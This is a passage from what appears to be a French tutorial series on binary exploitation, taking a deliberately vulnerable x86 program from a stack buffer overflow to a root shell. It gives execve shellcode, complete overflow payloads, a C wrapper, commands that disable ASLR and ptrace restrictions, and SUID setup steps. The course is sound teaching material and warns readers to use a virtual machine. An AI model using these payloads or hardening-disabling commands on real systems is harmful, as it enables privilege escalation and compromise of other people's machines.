'\\xef\\xbe\\xad\\xde'), on pourra écrire 0xdeadbeef dans notre pile. De manière analogue, il est possible d’y mettre les opcodes de notre shellcode pour qu’il se retrouve dans la pile.Nous utiliserons cette méthode en détails un peu plus tard. Pour l’instant, utilisons simplement l’entrée utilisateur pour y insérer les opcodes.Via environL’autre manière d’afficher les variables d’environnement (plus précisément envp) est d’afficher le contenu de la variable globale environ :Une manière plus esthétique d’afficher les variables d’environnement est d’utiliser, par exemple, la commande gdb suivante : Quand l’ASLR est activée, réussir à afficher environ permet de savoir vers quelles adresses se situe la pile.Finalement, voici comment est agencée la pile :Nous avons jusqu’à présent principalement utilisé la partie haute de la pile qui est utilisée par les fonctions du programme. C’est en quelque sorte ici que se promènent esp et ebp.Pour ce qui est de la fin de la pile, elle est située immédiatement après la dernière variable d’environnement.Comment l’écrire ?Tout d’abord, rappelons l’objectif que nous souhaitons atteindre avec cette exécution de code : ouvrir un shell.L’une des manière les plus simples est d’utiliser l’appel système execve avec les arguments suivants : execve(\"/bin/sh\",NULL,NULL) car nous n’avons besoin ni argv ni de envp.D’après la doc’, voici l’ordre des arguments de execve :Ainsi que la convention d’appel x86 sous Linux :Il faut donc que l’on mette : l’adresse de \"/bin/sh\" dans ebx (filename) ; 0 dans ecx (argv) ; 0 dans edx (envp) ; 0xb dans eax qui est le numéro du syscall execve.Une fois que cela sera fait, il suffira d’exécuter l’instruction int 0x80, qui est l’équivalent de l’instruction syscall en x86, pour que l’appel système soit exécuté.Pour ce qui est de la chaîne de caractères \"/bin/sh\", nous pouvons également la mettre dans le buffer prenom. Nous avons donc au final une entrée utilisateur de la forme suivante : \"/bin/sh\\x00\" + shellcode + \"AA...A\" + reste_du_payload.Pour trouver l’adresse de /bin/sh\\x00 il suffit de trouver l’adresse de prenom via gdb étant donné que cette chaîne de caractères est placée au début de l’endroit ou est stockée l’entrée utilisateur, son adresse est donc la même que celle de prenom. Pour ma part, l’adresse en question est 0xffffc690, dans votre cas cette adresse sera sûrement différente.Le shellcode que nous allons utiliser est le suivant :mov ebx, 0xffffc690 ; Adresse a adaptermov ecx, 0mov edx, 0mov eax, 0x0bint 0x80 Veillez à bien adapter les adresses que vous utilisez dans votre payload final, notamment dans le shellcode. Si vous ne le faites pas, il y a de grandes chances que l’exploit ne fonctionne pas 🙄.Vous avez vu ? Rien de bien compliqué au final. Vérifions tout de même sa taille et l’absence du caractère 0x0a (saut de ligne). Nous pouvons utiliser defuse.ca pour désassembler ces instructions et en récupérer les opcodes.Voici notre shellcode : \\xBB\\x90\\xC6\\xFF\\xFF\\xB9\\x00\\x00\\x00\\x00\\xBA\\x00\\x00\\x00\\x00\\xB8\\x0B\\x00\\x00\\x00\\xCD\\x80 ! Il fait 22 caractères et ne contient pas de sauts de lignes 😎.En réalité, le fait de ne pas être contraint d’éviter les octets nuls nous permet d’écrire un shellcode assez trivialement, sans trop de difficulté. Il suffit seulement de savoir ce que l’on doit mettre dans chacun des registres et le tour est joué.L’exécuter !Nous avons (presque) tous les éléments clés en main pour ouvrir exploiter le programme afin d’ouvrir un terminal. Pour cela, il va falloir exécuter notre shellcode, rien de plus simple que d’y plonger en retournant depuis le main.Déterminons ensemble l’adresse à laquelle sauter. Ce n’est pas très compliqué sachant que le shellcode est situé immédiatement après /bin/sh\\x00 qui comporte 8 caractères. Dans mon cas l’adresse sera donc 0xffffc690 + 8 = 0xffffc698 (⚠️ à adapter selon vos adresses).Voici le payload final :/bin/sh\\x00\\xbb\\x90\\xc6\\xff\\xff\\xb9\\x00\\x00\\x00\\x00\\xba\\x00\\x00\\x00\\x00\\xb8\\x0b\\x00\\x00\\x00\\xcd\\x80AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCDDDD\\xc0\\xc7\\xff\\xffEEEEFFFFGGGGHHHHIIIIJJJJKKKK\\x98\\xc6\\xff\\xffIci trois adresses sont à adapter : \\x90\\xc6\\xff\\xff ; \\xc0\\xc7\\xff\\xff ; \\x98\\xc6\\xff\\xff.Lorsque l’on lance le programme en utilisant cette entrée dans gdb on observe ceci :Nous avons réussi à ouvrir un shell ! Pour preuve, la commande cat /etc/passwd a bien fonctionné ! Si la commande cat (...) ne fonctionne pas dans gdb mais que vous voyez bien le message process XXXXXXX is executing new program: (...) c’est que le payload est correct. Le programme réellement exécuté est /usr/bin/dash car /bin/sh est un lien symbolique vers ce programme. Vous pouvez le constater en exécutant la commande : ls -l /bin/sh.Exécution sans l’aide d’un débogueurNous avons réussi à exploiter la vulnérabilité … à travers gdb. Qu’en est-il dans la “vraie vie” ?Essayons avec echo -ne '[VOTRE_PAYLOAD]' | ./vuln :Aïe 🤕. Ce n’est vraiment pas ce à quoi on s’attendait … Affaire à suivre 🧐.📋 SynthèseBon, c’est tout pour ce chapitre, nous investiguerons la cause de ce SIGSEGV dans le prochain chapitre.Voici une synthèse de ce que nous avons vu au cours de ce chapitre : lors du précédent chapitre, nous avions réussi à contrôler eip ; ensuite, nous avons vu une technique permettant de réaliser une exécution de code arbitraire : le shellcode ; cette technique peut, ici, être déployée de deux manières : en utilisant l’entrée utilisateur, c’est la méthode que nous avons choisi d’utiliser ; en utilisant des variables d’environnement ; il y a souvent plusieurs contraintes auxquelles il est nécessaire de faire attention lors de l’écriture d’un shellcode : certains caractères ne doivent pas y être présents ; sa taille est limitée ; certains appels système peuvent être bloqués ; nous avons utilisé l’appel système execve qui nous permet d’ouvrir un terminal en lançant le programme /bin/sh ; on a réussi à ouvrir un shell … dans le débogueur, prochaine étape : ouvrir un shell sans l’aide de ce dernier !" }, { "title": "Partie 6 - Exploiter un BO - pile exécutable – construction du shellcode (3/4)", "url": "/posts/introduction_au_pwn_partie_6/", "categories": "Pwn, Introduction au pwn", "tags": "x86, pwn, linux", "date": "2026-05-03 08:00:00 -0200", "snippet": "Exploiter un stack buffer overflow : pile exécutable – construction du shellcode (3/4)J’ai une bonne et une mauvaise nouvelle à vous annoncer : La bonne nouvelle 😊 : nous avons pu trouver un paylo...", "content": "Exploiter un stack buffer overflow : pile exécutable – construction du shellcode (3/4)J’ai une bonne et une mauvaise nouvelle à vous annoncer : La bonne nouvelle 😊 : nous avons pu trouver un payload qui ouvre un terminal. Cet exploit a fonctionné dans le contexte d’un débogueur ; La mauvaise nouvelle 😞 : il va encore falloir rafistoler un peu notre payload afin d’exploiter le programme sans l’aide d’un débogueur.Pour résumer, les causes de ce décalage entre l’exécution dans et en dehors de gdb sont les suivantes : l’ASLR est toujours activée ; les variables d’environnement ne sont pas les mêmes.Analysons plus en détails ces différentes causes. Après avoir réussi à exploiter un programme à l’aide d’un débogueur, ou de manière générale, dans un environnement de supervision (machine virtuelle etc.), il est nécessaire de s’assurer que l’exploit fonctionne toujours dans un contexte d’exécution “normal”. Cela implique très souvent d’effectuer des modifications et de prendre le temps de comprendre les décalages entre ce que l’on a obtenu dans un débogueur et ce que l’on obtient en dehors de celui-ci. C’est une étape fréquente qu’il ne faut surtout pas négliger. Egalement, il ne faut pas en être découragé : on garde toujours une part de déception en soi quand on voit qu’un exploit fonctionne dans un contexte donné et pas dans un autre. Et puis, dans la majorité des cas, le plus compliqué est déjà passé.L’ASLR, toujours dans les paragesComme cela a été précisé, la commande gdb aslr off permet de faire abstraction de l’ASLR uniquement dans le débogueur, cela ne la désactive pas totalement sur votre système.Pour cela, il va falloir la désactiver à partir du fichier /proc/sys/kernel/randomize_va_space. ⛔ Attention , modifier ce fichier réduit considérablement le niveau de sécurité de votre système étant donné que les adresses de n’importe quel programme ne sont plus aléatoirisées. A utiliser à vos risques et périls si cela est réalisé sur votre propre machine. Malheureusement, il n’est pas possible de désactiver l’ASLR uniquement dans un conteneur : soit vous la désactivez dans votre machine et cela la désactive dans tous les conteneurs, soit elle reste active dans votre machine et dans tous les conteneurs. Si vous ne voulez pas risquer de toucher à ce fichier sur votre machine personnelle, vous pouvez le faire dans une machine virtuelle, comme cela a été préconisé dès l’introduction du cours. Il sera toujours possible de lancer les conteneurs du cours dans cette machine virtuelle.Notez quelque part la valeur contenue dans /proc/sys/kernel/randomize_va_space (sûrement 2). Voici la commande permettant de désactiver totalement l’ASLR sur un système :echo 0 | sudo tee /proc/sys/kernel/randomize_va_space De toute manière, au redémarrage de votre machine (physique ou virtuelle), le contenu de /proc/sys/kernel/randomize_va_space sera restauré.🔎 Analyse de l’écart entre les deux contextes d’exécutionJe vous propose, comme vous savez très bien le faire, d’analyser le SIGSEGV dans gdb. Nous n’allons pas exécuter notre programme dans gdb comme nous l’avions fait précédemment. Nous allons exécuter notre programme en dehors du débogueur et nous y attacher une fois qu’il sera lancé dans un contexte d’exécution nominal afin d’être en mesure de chercher la raison du plantage. Il est également possible d’utiliser le fichier core dump dans gdb afin d’investiguer la raison du plantage.Il est possible de s’attacher à la volée à un programme qui lit depuis stdin de deux manières différentes : en mettant en place un wrapper en C qui affichera le PID du processus et écrira le payload dans stdin une fois que l’on s’y attachera dans gdb ; en utilisant bash et plusieurs terminaux.Nous utiliserons la deuxième méthode qui peut s’avérer très utile dans certains challenges.Pour cela, il sera nécessaire de disposer de 3 terminaux : un terminal où sera lancé le programme vulnérable ; un terminal pour écrire dans un tube nommé. Ce fichier permet de transférer le payload au programme une fois que l’on y sera attaché dans gdb ; un terminal où sera exécuté gdb. Ouaaah flemme d’ouvrir tous ces terminaux 😴.Si vous êtes du genre à préférer avoir tout sur une même fenêtre, envisagez d’utiliser un multiplexeur de terminal comme tmux ou autre. Astuce Docker : une fois le conteneur lancé avec docker run (...), il est possible d’ouvrir plusieurs terminaux en exécutant plusieurs fois : docker exec --user challenger -it ID_DU_CONTENEUR /bin/bash.Utilisons la commande suivante pour créer un tube nommé mkfifo /tmp/fifo. La particularité de ce type de fichiers est que lorsque l’on lancera le programme vulnérable avec cat /tmp/fifo | ./vuln_no_nx, le processus attendra qu’il y ait des données écrites dans /tmp/fifo avant de poursuivre son exécution. Cela nous donne le temps de tranquillement nous y attacher dans gdb.Voici un résumé de ces étapes :# Dans le terminal n°1mkfifo /tmp/fifocat /tmp/fifo | ./vuln_no_nx# Dans le terminal n°2 ## Cherchez le PID de \"vuln_no_nx\" grâce à la commande `ps` à la main## ou utilisez grep et awk pour le faire en une ligne de commandesgdb -p pid_du_programme## Dans gdb :continue# Dans le terminal n°3echo -ne 'VOTRE_PAYLOAD' &gt; /tmp/fifo Si gdb a des soucis pour s’attacher au processus, vous pouvez utiliser cette commande pour qu’il puisse en avoir le droit : echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope. Notez la valeur par défaut quelque part (sûrement 1).Si vous avez bien suivi le protocole, vous devriez tomber sur quelque chose comme ceci :Ce qui est très bizarre, c’est que eip vaut 0x41414141 alors que notre payload permet, normalement, de modifier sa valeur en 0xffffc698. Par ailleurs, en utilisant x/100xw $esp, on constate que le payload final est bien écrit sur la pile.On a l’impression que notre payload ne fonctionne pas correctement. Il est possible que vous ayez des valeurs différentes dans ces registres. Cela ne posera pas de soucis par la suite tant que vous avez utilisé un payload qui fonctionne bien s’il est exécuté dans gdb.Une histoire de décalagePour mieux comprendre l’origine de ce plantage, comparons l’état de ce programme ayant planté avec le même état lorsqu’il est lancé depuis gdb.Ouvrez vuln_no_nx dans gdb dans un autre terminal (n°4) puis mettez un point d’arrêt à la fin du main. Lancez ensuite le programme avec la commande qui vous a précédemment permis d’ouvrir un shell :run &lt; &lt;(...).Jouons maintenant au jeu des 7 différences. Tout d’abord il y a cette différence dans ce qui est pointé par esp : programme qui a planté : *ESP 0xffffc7bc ◂— 0x41414141 ('AAAA') programme lancé dans gdb : *ESP 0xffffc7bc —▸ 0xffffc698 —▸ 0xffc690bb ◂— 0xffc690bbDans les deux cas, esp a la même valeur … mais ne pointe pas vers la même chose. Egalement, vous remarquerez que les deux processus ont la même valeur pour ecx , ebx, edi et ebp. Il y a donc eu un problème lors de l’exécution de l’avant-dernière instruction du main :pop ecx pop ebx pop edi pop ebp lea esp,[ecx-0x4] ; &lt;--retVous vous rappelez ? esp est restauré à partir de la valeur de ecx. Comparons le contenu de cette adresse contenue dans ecx :On constate qu’à la même adresse, le programme lancé dans gdb est bien plus proche de argv et envp que le programme lancé en dehors de gdb.Il y a un décalage de plus d’une centaine d’octets 🤯! D’ailleurs, en trifouillant dans la pile des deux programmes on trouve que le buffer prenom est situé à ces adresses : programme “normal” : 0xffffc78e programme lancé dans gdb : 0xffffc6aeLe problème que nous rencontrons est que prenom n’est pas localisé à la même adresse dans la pile. Ainsi, en utilisant des adresses “en dur” dans notre programme relatives à ce que l’on voyait dans gdb, on n’arrive pas à faire fonctionner le payload en dehors de gdb.Origine du décalageA présent que nous savons qu’il y a bel et bien un décalage dans la pile, tentons de comprendre le pourquoi du comment pour corriger le problème.Je vais être honnête avec vous, en cherchant dans gdb, on mettrait beaucoup de temps avant de comprendre l’origine de ce décalage. Toutefois, en utilisant notre moteur de recherche préféré, on tombe sur une potentielle cause qui devrait vous parler : les variables d’environnement.En les affichant dans le terminal n°2 et n°4, vous constaterez que certaines sont différentes et que d’autres sont présentes dans le terminal n°4 mais pas le n°2 comme les variables suivantes utilisées par gdb (lorsque l’on lance le programme depuis gdb):LINES=42COLUMNS=166A ce stade, il existe plusieurs manières d’adapter notre payload pour qu’il fonctionne dans le cas d’une exécution nominale : utiliser la force brute pour trouver quelle valeur de ecx utiliser et adapter les autres adresse (eip écrasé, adresse de \"/bin/sh\" dans le shellcode …). 🟢 Avantages : permet de trouver la bonne adresse sans avoir à la trouver soi-même. Contrairement aux deux autres méthodes, il n’est pas nécessaire d’avoir accès à la machine contenant le programme vulnérable (ex: exploitation d’un challenge à distance). 🔴 Inconvénients : peu élégant et demande potentiellement plusieurs centaines voire milliers d’exécutions. utiliser un “NOP-sled”. 🟢 Avantages : permet de faire abstraction du décalage. Méthode “passe-partout” 🔴 Inconvénients : nécessite un buffer assez grand; dans le cas de buffer très petits, cette méthode n’est pas utilisable (sauf si un autre buffer plus grand est disponible). lancer le programme sans les variables d’environnement. 🟢 Avantages : permet d’éviter le décalage causé pas les variables d’environnement. 🔴 Inconvénients : nécessite de créer un programme “enveloppe” C. Comme les adresses seront codées en dur, rien ne garantie que l’exploit fonctionnera dans une autre machine. Il faudra sûrement modifier les adresses utilisées. En pwn, parmi la multitude de techniques qu’il est possible d’utiliser dans une situation donnée, il n’y en pas forcément une qui est la panacée. Il s’agit très souvent d’une histoire de compromis. Si une méthode ne fonctionne pas, il ne faut pas hésiter à en utiliser une autre et ainsi de suite.La première méthode fonctionne mais n’est pas très élégante. Quant à la deuxième, nous ne pouvons pas l’utiliser car nous avons tout de même besoin de donner une adresse bien précise à ecx. En revanche, si on avait mis notre shellcode dans une variable d’environnement, l’utilisation d’un NOP-sled aurait été très efficace.Optons pour la 3ème technique.🛷 Le NOP-sledProfitons d’avoir évoqué le sujet pour en parler ici même si ce n’est pas la méthode que l’on va déployer. Cela vous sera sûrement utile dans certains challenges où vous utiliserez, par exemple, des variables d’environnement pour y stocker votre shellcode.Les hypothèses préalables à l’utilisation de cette technique sont les suivantes : on arrive à contrôler eip ; on dispose d’un grand buffer (ou d’une variable d’environnement) qui contiendra le shellcode on sait grosso modo vers quelles adresses de la pile se situe le shellcode (ex: 0xffffc6XX)Littéralement “luge de NOP”, le principe du NOP-sled est très simple : on ne sait pas à quelle adresse exacte est situé notre shellcode, on utilise donc un important rembourrage d’instructions nop afin d’arriver, tôt ou tard, au shellcode.Ainsi, au lieu de lister toutes les adresses possibles où se situerait le shellcode ( ex : 0xffffc61c, 0xffffc6df, 0xffffc657 … ) nous allons utiliser un énorme shellcode pour être sûr que si une de ces adresses est utilisée, on sera dans tous les cas dans notre code injecté :Les flèches 🔴 sont des valeurs d’adresse de retour proche du shellcode mais invalides car cela exécute tout et n’importe quoi.Les flèches 🟢 correspondent à des valeurs d’adresse de retour valides.Comme vous pouvez le constater, en mettant au préalable un rembourrage d’instructions nop, on a plus de chances d’atterrir sur le shellcode. Par ailleurs, plus le buffer est grand, plus on peut insérer de nop, plus on a de chances de tomber dans des instructionsnop valides, et donc exécuter, le shellcode.En spécifiant une adresse de retour comme 0xffffc640 qui est plus ou moins le milieu du NOP-sled, on espère que même avec un petit décalage (0xffffc640 + X ou 0xffffc640 - X), on puisse tout de même atteindre le NOP-sled, et donc le shellcode.Abandon des variables d’environnementComme promis, utilisons la méthode qui consiste à exécuter notre programme sans les variables d’environnement. On va s’y prendre comme suit : utilisation de execle pour spécifier un pointeur envp vide ; débogage à la volée du programme pour trouver les adresses à utiliser ; adaptation des adresses du shellcode ; exploitation !Voici le fichier wrapper.c (surcouche ou enveloppe 🇫🇷) que l’on utilisera :#include &lt;stdio.h&gt;#include &lt;stdlib.h&gt;#include &lt;unistd.h&gt;int main() { char *program = \"./vuln_no_nx\"; char *args[] = { program, NULL }; char *empty_env[] = { NULL };\tputs(\"[+] Lancement du programme vulnérable ...\"); if (execle(program, program, (char *)NULL, empty_env) == -1) { perror(\"[-] execle a echoué\"); return 1; } return 0;}On le compile avec gcc wrapper.c -o wrapper et on l’exécute. Avec la même méthode que celle utilisée précédemment pour s’attacher à la volée au programme vulnérable dans gdb. Notre objectif : 🎯 trouver l’adresse du buffer prenom et la valeur sauvegardée de ecx. Pour rappel, cela peut se faire ainsi :# Dans le terminal n°1mkfifo /tmp/fifocat /tmp/fifo | ./wrapper# Dans le terminal n°2 ## Cherchez le PID de \"vuln_no_nx\" grâce à la commande `ps` à la main## ou utilisez grep et awk pour le faire en une ligne de commandesgdb -p pid_du_programme## Dans gdb :b* 0x080491f8 # point d'arret sur `pop ecx`continue# Dans le terminal n°3echo -ne 'ABCDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' &gt; /tmp/fifo Au passage, tentez d’afficher les variables d’environnement dans gdb, vous verrez qu’il n’y a pas grand chose 😅.En mettant un point d’arrêt à pop ecx, on trouve la valeur sauvegardée de ecx, dans mon cas : 0xffffde40. En utilisant une entrée du type ABCDAAA...A, l’adresse du buffer prenom de mon côté est 0xffffdd10 :J’en déduis que mon shellcode, qui est 8 octets plus loin, est à l’adresse 0xffffdd18.Il y a 3 choses à modifier dans notre payload : la valeur de ecx que l’on souhaite utiliser (dans mon cas 0xffffde40) ; l’adresse de /bin/sh dans notre shellcode. Il suffit de modifier l’instruction mov ebx, 0xXXXXXXX et récupérer les opcodes actualisés (dans mon cas 0xffffdd10) ; l’adresse de retour (dans mon cas 0xffffdd18).Après mise à jour, le payload devient :/bin/sh\\x00\\xBB\\x10\\xDD\\xFF\\xFF\\xB9\\x00\\x00\\x00\\x00\\xBA\\x00\\x00\\x00\\x00\\xB8\\x0B\\x00\\x00\\x00\\xCD\\x80AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCDDDD\\x40\\xde\\xff\\xffEEEEFFFFGGGGHHHHIIIIJJJJKKKK\\x18\\xdd\\xff\\xffDieu merci, il n’y a aucun saut de ligne ! Vous imaginez bien que l’on aurait eu l’air très bête d’avoir fait tout ça pour au final avoir un payload invalide 😉! La présence du caractère \\x0a aurait demandé un peu plus de travail sans pour autant rendre l’exploitation impossible : s’il s’agit d’une adresse, il faut se demander s’il est possible de décaler ce vers quoi pointe l’adresse en question. s’il s’agit d’un opcode dans le shellcode, il faut se demander s’il existe une, ou plusieurs, instructions équivalentes qui ne contiennent pas \\x0a.🎇 Exploitation !Pour pwn vuln_no_nx, nous allons directement donner notre payload à wrapper qui le transmettra au programme vuln_no_nx :echo -ne 'VOTRE_PAYLOAD' | ./wrapperVoici le résultat :[+] Lancement du programme vulnérable ... Bonjour /bin/sh !Et voilà 😎 ! Euh … tu t’emballes pas mal là. Je ne vois pas où est le shell que tu nous as promis 😖.Je vous rassure : il n’y a pas lieu d’être déçus. Au contraire ! Il semblerait que l’on a exploité le programme avec brio. Vous ne le voyez pas mais il est bel et bien là ! D’ailleurs, nous n’avons plus de SIGSEGV en vue.Pour rentrer dans le vif du sujet, on fait face à un problème auquel on a tous été confrontés lorsque l’on débute en pwn : garder stdin ouvert pour exécuter des commandes. Ce qui s’est passé est que le shell a bien été lancé. Or, comme stdin s’est fermé au moment où tout le payload a été transmis, le shell s’est également fermé de sitôt.Voici une astuce permettant de réaliser cela, gardez-là bien sous le coude :(echo -e 'VOTRE_PAYLOAD'; cat -) | ./wrapper Nous enlevons l’option -n afin que echo ajoute un saut de ligne. Rappelez-vous, gets s’arrête au premier saut de ligne rencontré. Cela permet de dire au programme vuln_no_nx “lit le payload, rien de plus”. Cela permettra aux commandes que l’on saisit d’être directement utilisées par le shell sans avoir à saisir préalablement de saut de ligne à la main.Voici le résultat :Bravo ! Vous avez réussi à ouvrir un shell et ce, dans un contexte d’exécution nominal ! Notez bien votre payload quelque part car nous en aurons besoin pour le prochain chapitre. Cela vous permettra d’éviter de déterminer de nouveau les adresses dont vous aurez besoin. Si vous avez suivi le cours via le conteneur Docker, vous devriez avoir lancé le programme en tant qu’utilisateur challenger et non root. Cela est important pour la suite. J’arrive à afficher /etc/passwd mais pas /etc/shadow. Tu as dis qu’on allait être root non ?Ne vous inquiétez pas je n’ai pas oublié ce détail ! Comme d’habitude, je préfère que l’on y aille petit à petit. On a déjà effectué, je dirais, 90% du boulot avant de devenir root. A première vue, on pourrait légitimement se demander la plus-value de cette méthode alors que l’on aurait très bien pu faire la même chose (trouver les 3 adresses à adapter) sans utiliser un wrapper qui lance le programme sans variables d’environnement. Imaginez que, effectivement, nous n’ayons pas utilisé de wrapper, que l’on ait adapté le payload en trouvant les 3 adresses à modifier et que cela ait ouvert un shell. Comment faire pour exécuter l’exploit chez un autre utilisateur de la même machine ou sur un autre PC qui a des variables d’environnement différentes ? Il aurait fallu refaire le même travail à chaque fois. En revanche, avec cette méthode, on aura pas de soucis si les variables d’environnement changent d’une exécution à une autre !📋 SynthèseNous avons enfin réussi à ouvrir un terminal en dehors de gdb ! Voici les principales étapes suivies : nous désactivons l’ASLR dans notre machine pour ne pas avoir d’aléatoirisation des adresses ; nous avons utilisé 3/4 terminaux différents pour lancer le programme avec un tube nommé afin d’investiguer les raisons du décalage entre le cas d’exécution nominale et ce qui se passe dans le débogueur ; nous avons identifié les variables d’environnement comme principale cause du décalage observé dans la pile ; trois approches ont été envisagées : utiliser le bruteforce ; utiliser un NOP-sled ; utiliser un wrapper afin de ne pas utiliser de variables d’environnement ; en retenant la troisième approche, nous avons pu stabiliser définitivement les adresses nécessaires à l’exploitation ; enfin, grâce à l’astuce du cat -, nous avons été en mesure d’ouvrir un shell grâce à notre exploit, et ce, en dehors de gdb !Dans le prochain chapitre, comme promis, nous allons tenter de devenir root sur la machine !" }, { "title": "Partie 7 - Exploiter un BO - pile exécutable – exploitation complète (4/4)", "url": "/posts/introduction_au_pwn_partie_7/", "categories": "Pwn, Introduction au pwn", "tags": "x86, pwn, linux", "date": "2026-05-02 08:00:00 -0200", "snippet": "Exploiter un stack buffer overflow : pile exécutable – exploitation complète (4/4)Courage ! Nous sommes à la dernière étape de pwn avant de devenir root. Avant cela, parlons des programmes SUID car...", "content": "Exploiter un stack buffer overflow : pile exécutable – exploitation complète (4/4)Courage ! Nous sommes à la dernière étape de pwn avant de devenir root. Avant cela, parlons des programmes SUID car il s’agit très souvent de ce que vous risquez de rencontrer dans des challenges, ou dans la vraie vie.⚠️ Attention, avant d’aborder ce chapitre, vous devez normalement avoir noté quelque part le payload qui vous a permis d’exploiter le programme au chapitre précédent. Il est, par exemple, sous la forme :(echo -e '/bin/sh\\x00-p\\x00\\x00\\xdd\\xff\\xff\\x08\\xdd\\xff\\xff\\x00\\x00\\x00\\x00\\xBB\\x00\\xDD\\xFF\\xFF\\xB9\\x0B\\xDD\\xFF\\xFF\\xBA\\x00\\x00\\x00\\x00\\xB8\\x0B\\x00\\x00\\x00\\xCD\\x80AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCDDDD\\x30\\xde\\xff\\xffEEEEFFFFGGGGHHHHIIIIJJJJKKKK\\x17\\xdd\\xff\\xff'; cat -) | ./wrapperIl est important de l’avoir sous la main car vous allez devoir réutiliser des adresses que vous avez précédemment trouvées dans gdb. De cette manière, vous ne devriez pas avoir à le refaire ici.🔐 Les programmes SUIDUn programme SUID (Set User ID) est un exécutable auquel est associé un bit de permission appelé “bit SUID”. Lorsqu’il est activé, ce bit permet au programme d’être exécuté avec les privilèges du propriétaire du fichier, plutôt qu’avec ceux de l’utilisateur qui l’exécute.Pour illustrer ce système avec un exemple concret, imaginez quelqu’un dans un centre commercial cherchant à accéder aux toilettes publiques, mais celles-ci sont fermées pour travaux. Il demande alors au vigile de lui prêter son badge pour utiliser les toilettes du personnel, et le vigile accepte par gentillesse. Une fois en possession de ce badge, la personne peut non seulement accéder aux toilettes réservées au personnel, mais aussi potentiellement entrer dans des zones strictement interdites au public.Des programmes SUID, vous en connaissez, et pas qu’un seul ! A titre d’exemple : sudo et passwd. Il fut un temps où ping était SUID car il avait besoin des droits root pour utiliser un raw socket. Désormais cela est fait sans que le programme soit SUID.Le bit SUID permet d’autoriser des utilisateurs lambda à réaliser certaines actions nécessitant des privilèges élevés sans pour autant leur donner tous les droits que peut avoir root. Il s’agit de restreindre le champ d’action à ce que peut faire le programme SUID, enfin, en principe si vous voyez ce que je veux dire 😉. Il y a même des programmes d’élévation de privilèges qui listent tous les programmes SUID présents sur une machine. Par exemple : LinPEAS.C’est pourquoi ce type de programme est particulièrement prisé par les chercheurs de vulnérabilités. Il s’agit de points d’entrée, accessibles à quasiment n’importe qui, pour devenir root.Le bit SUID est visible quand vous affichez les informations d’un fichier (avec ls -la par exemple). Voici un exemple avec passwd :ll $(which passwd) .rwsr-xr-x root root (...) /usr/bin/passwd# ^On remarque la présence du s dans rws. Également, lorsque l’on utilise la commande file sur ce fichier, on y voit que le programme est setuid, alias SUID : /usr/bin/passwd: setuid ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=..., for GNU/Linux 3.2.0, stripped.🛣️ La route pour devenir root ⛔ Attention ! ⛔ Ce qui va être réalisé en rendant le programme SUID pour l’utilisateur root est très dangereux. En faisant cela, nous sommes en train de tendre le bâton à un potentiel attaquant pour qu’il puisse devenir root en un clin d’œil. Nous réalisons cette périlleuse acrobatie ici à des fins pédagogiques car il y a beaucoup de choses à apprendre à travers le système SUID. Ne reproduisez pas ça sur votre propre machine ! Si vous souhaitez le tester de votre côté, faites-le dans une machine virtuelle déconnectée d’internet et/ou dans le conteneur Docker ci-dessous qui est mis à disposition pour ce chapitre. Vous remarquerez que dans les challenges d’élévation de privilège en pwn, les programmes sont SUID avec un compte différent de root et qui n’a pas de privilèges élevés. Cela permet de gérer plusieurs challenges à la fois et d’éviter qu’une personne qui réussit à exploiter un programme puisse faire tout ce qu’elle souhaite sur une machine. Considérons un programme que l’utilisateur lambda, ayant des privilèges classiques, peut exécuter. Soit flag.txt le fichier contenant le flag du challenge qui n’est lisible que par l’utilisateur alpha. Alors en rendant le programme SUID pour l’utilisateur alpha on fait une pierre deux coups : le fichier flag.txt n’est pas lisible par n’importe quel utilisateur lambda et même en élevant ses privilèges vers l’utilisateur alpha, il n’est pas possible de faire tout ce que l’on souhaite sur la machine.Il va falloir rendre le programme SUID si on veut être root à un moment ou un autre. Si vous ne voulez pas vous prendre la tête, vous pouvez télécharger l’archive suivante qui permet d’avoir directement le programme SUID. Cela permet d’avoir directement accès au programme vulnérable qui a le bit SUID présent pour l’utilisateur root via un conteneur Docker. ⬇️ Téléchargement : pwn-stack-vuln-no-nx-suid.zip 🔎 SHA256 &amp; Analyse Virus Total : 73003713165ed7d6f641fa0dde5592fed984fb838ab69daff870bd212d4848ff ⚙️ Construction et lancement du conteneur :Pour construire et lancer le conteneur :docker build -t pwn-stack-vuln-no-nx-suid .docker run -it --rm --cap-add=SYS_PTRACE --security-opt seccomp=unconfined pwn-stack-vuln-no-nx-suidSinon, sur votre machine virtuelle coupée du monde extérieur, cela est faisable avec les commandes suivantes :sudo chown root:root vuln_no_nxsudo chmod u+s vuln_no_nx# Renommer pour plus de clartémv vuln_no_nx vuln_no_nx_suidLe fait d’ajouter le bit SUID ne modifie pas le contenu du programme mais seulement ses permissions. Nous pouvons donc réutiliser le payload du précédent chapitre pour l’exploiter.Nous pouvons réutiliser ce payload comme suit : compiler le programme wrapper.c sans oublier de modifier le nom du programme à lancer ; récupérer le payload que vous avez obtenu à la fin du précédent chapitre ; lancer le programme avec : ( echo -e 'VOTRE_PAYLOAD' ; cat -) | ./wrapper. Prenez 